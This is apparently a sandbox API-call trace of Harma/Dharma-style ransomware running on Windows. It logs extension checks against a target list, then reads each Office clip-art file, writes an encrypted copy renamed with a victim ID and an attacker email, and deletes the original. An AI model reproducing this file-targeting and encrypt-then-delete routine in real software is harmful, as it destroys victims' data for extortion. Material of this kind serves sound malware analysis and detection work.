lstrlenW (lpString=".1cd") returned 4 [0150.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.833] lstrlenW (lpString=".jpg") returned 4 [0150.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.833] lstrlenW (lpString=".doc") returned 4 [0150.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.833] lstrlenW (lpString=".docx") returned 5 [0150.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.833] lstrlenW (lpString=".pdf") returned 4 [0150.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.833] lstrlenW (lpString=".xls") returned 4 [0150.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.833] lstrlenW (lpString=".xlsx") returned 5 [0150.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.833] lstrlenW (lpString=".ppt") returned 4 [0150.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.833] lstrlenW (lpString=".zip") returned 4 [0150.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.833] lstrlenW (lpString=".rar") returned 4 [0150.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.834] lstrlenW (lpString=".bz2") returned 4 [0150.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.834] lstrlenW (lpString=".7z") returned 3 [0150.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.834] lstrlenW (lpString=".dbf") returned 4 [0150.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.834] lstrlenW (lpString=".1cd") returned 4 [0150.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0150.834] lstrlenW (lpString=".jpg") returned 4 [0150.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.834] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.834] lstrlenW (lpString="DD01166_.WMF") returned 12 [0150.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.836] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2080) returned 1 [0150.836] CloseHandle (hObject=0x21c) returned 1 [0150.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0150.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.837] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.837] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.837] GetLastError () returned 0x0 [0150.837] ReadFile (in: hFile=0x21c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x820, lpOverlapped=0x0) returned 1 [0150.865] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x830, lpOverlapped=0x0) returned 1 [0150.866] ReadFile (in: hFile=0x21c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.866] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.866] SetEndOfFile (hFile=0x2e8) returned 1 [0150.870] CloseHandle (hObject=0x2e8) returned 1 [0150.870] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.870] SetEndOfFile (hFile=0x21c) returned 1 [0150.874] CloseHandle (hObject=0x21c) returned 1 [0150.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0150.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.876] lstrlenW (lpString=".doc") returned 4 [0150.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.876] lstrlenW (lpString=".docx") returned 5 [0150.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.876] lstrlenW (lpString=".pdf") returned 4 [0150.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.876] lstrlenW (lpString=".xls") returned 4 [0150.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.876] lstrlenW (lpString=".xlsx") returned 5 [0150.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.876] lstrlenW (lpString=".ppt") returned 4 [0150.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.876] lstrlenW (lpString=".zip") returned 4 [0150.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.876] lstrlenW (lpString=".rar") returned 4 [0150.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.876] lstrlenW (lpString=".bz2") returned 4 [0150.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString=".7z") returned 3 [0150.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.877] lstrlenW (lpString=".dbf") returned 4 [0150.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.877] lstrlenW (lpString=".1cd") returned 4 [0150.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.877] lstrlenW (lpString=".jpg") returned 4 [0150.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.877] lstrlenW (lpString=".doc") returned 4 [0150.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString=".docx") returned 5 [0150.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.877] lstrlenW (lpString=".pdf") returned 4 [0150.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString=".xls") returned 4 [0150.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.877] lstrlenW (lpString=".xlsx") returned 5 [0150.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.877] lstrlenW (lpString=".ppt") returned 4 [0150.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.877] lstrlenW (lpString=".zip") returned 4 [0150.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.878] lstrlenW (lpString=".rar") returned 4 [0150.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.878] lstrlenW (lpString=".bz2") returned 4 [0150.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.878] lstrlenW (lpString=".7z") returned 3 [0150.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.878] lstrlenW (lpString=".dbf") returned 4 [0150.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.878] lstrlenW (lpString=".1cd") returned 4 [0150.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0150.878] lstrlenW (lpString=".jpg") returned 4 [0150.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.878] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.878] lstrlenW (lpString="DD01169_.WMF") returned 12 [0150.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.193] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2020) returned 1 [0151.193] CloseHandle (hObject=0x364) returned 1 [0151.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0151.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.234] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.234] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0151.234] GetLastError () returned 0x0 [0151.234] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x7e4, lpOverlapped=0x0) returned 1 [0151.236] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0151.237] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.237] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.237] SetEndOfFile (hFile=0x328) returned 1 [0151.237] CloseHandle (hObject=0x328) returned 1 [0151.237] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.237] SetEndOfFile (hFile=0x384) returned 1 [0151.239] CloseHandle (hObject=0x384) returned 1 [0151.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0151.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.240] lstrlenW (lpString=".doc") returned 4 [0151.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.240] lstrlenW (lpString=".docx") returned 5 [0151.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.240] lstrlenW (lpString=".pdf") returned 4 [0151.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.240] lstrlenW (lpString=".xls") returned 4 [0151.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.240] lstrlenW (lpString=".xlsx") returned 5 [0151.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.240] lstrlenW (lpString=".ppt") returned 4 [0151.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.241] lstrlenW (lpString=".zip") returned 4 [0151.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.241] lstrlenW (lpString=".rar") returned 4 [0151.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString=".bz2") returned 4 [0151.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString=".7z") returned 3 [0151.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.241] lstrlenW (lpString=".dbf") returned 4 [0151.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.241] lstrlenW (lpString=".1cd") returned 4 [0151.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.241] lstrlenW (lpString=".jpg") returned 4 [0151.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.241] lstrlenW (lpString=".doc") returned 4 [0151.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.241] lstrlenW (lpString=".docx") returned 5 [0151.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.241] lstrlenW (lpString=".pdf") returned 4 [0151.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.242] lstrlenW (lpString=".xls") returned 4 [0151.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.242] lstrlenW (lpString=".xlsx") returned 5 [0151.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.242] lstrlenW (lpString=".ppt") returned 4 [0151.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.242] lstrlenW (lpString=".zip") returned 4 [0151.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.242] lstrlenW (lpString=".rar") returned 4 [0151.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.242] lstrlenW (lpString=".bz2") returned 4 [0151.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.242] lstrlenW (lpString=".7z") returned 3 [0151.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.242] lstrlenW (lpString=".dbf") returned 4 [0151.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.242] lstrlenW (lpString=".1cd") returned 4 [0151.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0151.242] lstrlenW (lpString=".jpg") returned 4 [0151.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.242] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.242] lstrlenW (lpString="DD01176_.WMF") returned 12 [0151.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.243] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1888) returned 1 [0151.243] CloseHandle (hObject=0x384) returned 1 [0151.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0151.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.244] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.244] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0151.244] GetLastError () returned 0x0 [0151.244] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x760, lpOverlapped=0x0) returned 1 [0151.246] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x770, lpOverlapped=0x0) returned 1 [0151.247] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.247] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.247] SetEndOfFile (hFile=0x328) returned 1 [0151.247] CloseHandle (hObject=0x328) returned 1 [0151.247] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.247] SetEndOfFile (hFile=0x384) returned 1 [0151.249] CloseHandle (hObject=0x384) returned 1 [0151.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0151.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.250] lstrlenW (lpString=".doc") returned 4 [0151.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.250] lstrlenW (lpString=".docx") returned 5 [0151.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.250] lstrlenW (lpString=".pdf") returned 4 [0151.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.250] lstrlenW (lpString=".xls") returned 4 [0151.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.250] lstrlenW (lpString=".xlsx") returned 5 [0151.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.250] lstrlenW (lpString=".ppt") returned 4 [0151.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.250] lstrlenW (lpString=".zip") returned 4 [0151.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.250] lstrlenW (lpString=".rar") returned 4 [0151.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.250] lstrlenW (lpString=".bz2") returned 4 [0151.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.250] lstrlenW (lpString=".7z") returned 3 [0151.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.250] lstrlenW (lpString=".dbf") returned 4 [0151.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.251] lstrlenW (lpString=".1cd") returned 4 [0151.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.251] lstrlenW (lpString=".jpg") returned 4 [0151.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0151.251] lstrlenW (lpString=".doc") returned 4 [0151.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.251] lstrlenW (lpString=".docx") returned 5 